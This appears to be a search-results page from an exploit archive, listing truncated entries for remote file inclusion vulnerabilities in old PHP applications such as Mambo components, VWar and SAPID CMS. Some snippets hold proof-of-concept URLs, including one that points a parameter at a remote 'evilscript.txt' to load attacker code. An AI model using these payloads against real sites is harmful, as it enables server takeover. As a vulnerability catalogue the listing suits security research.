5166 matches found
Lizge 20 - 'index.php' Multiple Remote File Inclusions
source: https://www.securityfocus.com/bid/19533/info Lizge is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input. An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in t...
Mambo mmp Component <= 1.2 Remote File Include Vulnerability
Exploit for unknown platform in category web applications ============================================================ Mambo mmp Component Exploit: http://www.site.com/path/administrator/components/commmp/help.mmp.php?mosConfigabsolutepath=http://site.com/evilscript.txt? Greetz: Cyber-warrior TIM...
Mambo Peoplebook Component 1.0 Remote File Include Vulnerability
Exploit for unknown platform in category web applications ================================================================ Mambo Peoplebook Component 1.0 Remote File Include Vulnerability ================================================================...
Wheatblog <= 1.1 (session.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ================================================================ Wheatblog db != 'resource' touchDatabaseSession; Proof of Concept: www.site.com/includes/session.php?wbclassdir=SHELL 0day.today 2018-04-04...
Thatware <= 0.4.6 (root_path) Remote File Include Vulnerability
Exploit for unknown platform in category web applications =============================================================== Thatware = 0.4.6 rootpath Remote File Include Vulnerability =============================================================== Thatware 0.4.6 rootpath Remote File Inclusion CreW:...
phpPrintAnalyzer <= 1.2 Remote File Include Vulnerability
Exploit for unknown platform in category web applications ========================================================= phpPrintAnalyzer = 1.2 Remote File Include Vulnerability ========================================================= title: phpPrintAnalyzer Inclusion Vulnerability Author: Cmaster4...
Tiny Web Gallery 1.5 - 'Image' Multiple Remote File Inclusions
source: https://www.securityfocus.com/bid/19462/info Tiny Web Gallery is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP...
Spaminator 1.7. ($page) Remote File Include
Spaminator 1.7. $page Remote File Include CreW: ToXiC BuG Found By Drago84 SourcE CodE: http://freshmeat.net/redir/spaminator/16281/urltgz/spaminator-1.7.tar.gz Page Affect is: /src/Login.php Problem is include "$page.php"; Path : Declare $page ExpL:...
Spaminator <= 1.7 (page) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ========================================================== Spaminator = 1.7 page Remote File Include Vulnerability ========================================================== Spaminator 1.7. $page Remote File Include CreW: ToXiC BuG Found B...
Mafia Moblog 6 - Big.php Remote File Inclusion
Mafia Moblog 6 - Big.php Remote File Inclusion source: https://www.securityfocus.com/bid/19458/info Mafia Moblog is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file...
Tagger Luxury Edition (BBCodeFile) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ==================================================================== Tagger Luxury Edition BBCodeFile Remote File Include Vulnerability ==================================================================== Tagger v3 = BBCodeFile Remote file...
Hitweb <= 4.2.1 (REP_INC) Remote File Include Vulnerability
Exploit for unknown platform in category web applications =========================================================== Hitweb = 4.2.1 REPINC Remote File Include Vulnerability =========================================================== Hitweb 4.2 Remote Include File CreW: ToxiC Bug Found By Drago84...
Virtual War v1.5.0 Remote File Include (vwar_root)
Title : Virtual War v1.5.0 Remote File Include vwarroot Discovered By :::: :::: :::: AG-Spider :::: :::: :::: ----------------------------------------------------------------------------- Class : Remote file include Rish : Danger Application : Virtual War v1.5.0 URL : www.vwar.de...
phNNTP <= 1.3 (article-raw.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ================================================================= phNNTP = 1.3 article-raw.php Remote File Include Vulnerability ================================================================= phNNTP v1.3 Remote File Inclusion CreW: Toxi...
VWar 1.5 - joinus.php?vwar_root Remote File Inclusion
VWar 1.5 - joinus.php?vwarroot Remote File Inclusion source: https://www.securityfocus.com/bid/19387/info VWar is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker can exploit these issues to include an...
SAPID CMS <= 1.2.3.05 (root_path) Remote File Include Vulnerabilities
Exploit for unknown platform in category web applications ===================================================================== SAPID CMS = 1.2.3.05 rootpath Remote File Include Vulnerabilities ===================================================================== $$$$$$$$$$$$$$$ DEVIL TEAM THE BE...
SAPID Shop <= 1.2 (root_path) Remote File Include Vulnerability
Exploit for unknown platform in category web applications =============================================================== SAPID Shop = 1.2 rootpath Remote File Include Vulnerability =============================================================== $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM...
[Full-disclosure] PHPCodeCabinet Vulnerability
From Minion: PHPCodeCabinet all versions is vulnerable to a remote file include. The vulnerable code is in /include/Beautifier/Core.php an $BEAUTPATH Was not properly scrubbed, so they got owned. Proof of concept: target phpcodecabinet...
PHPCodeCabinet <= 0.5 (Core.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ================================================================== PHPCodeCabinet From Minion: PHPCodeCabinet all versions is vulnerable to a remote file include. The vulnerable code is in /include/Beautifier/Core.php an $BEAUTPATH Was not...
VWar 1.5 - news.php?vwar_root Remote File Inclusion
VWar 1.5 - news.php?vwarroot Remote File Inclusion source: https://www.securityfocus.com/bid/19387/info VWar is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker can exploit these issues to include an arbitrar...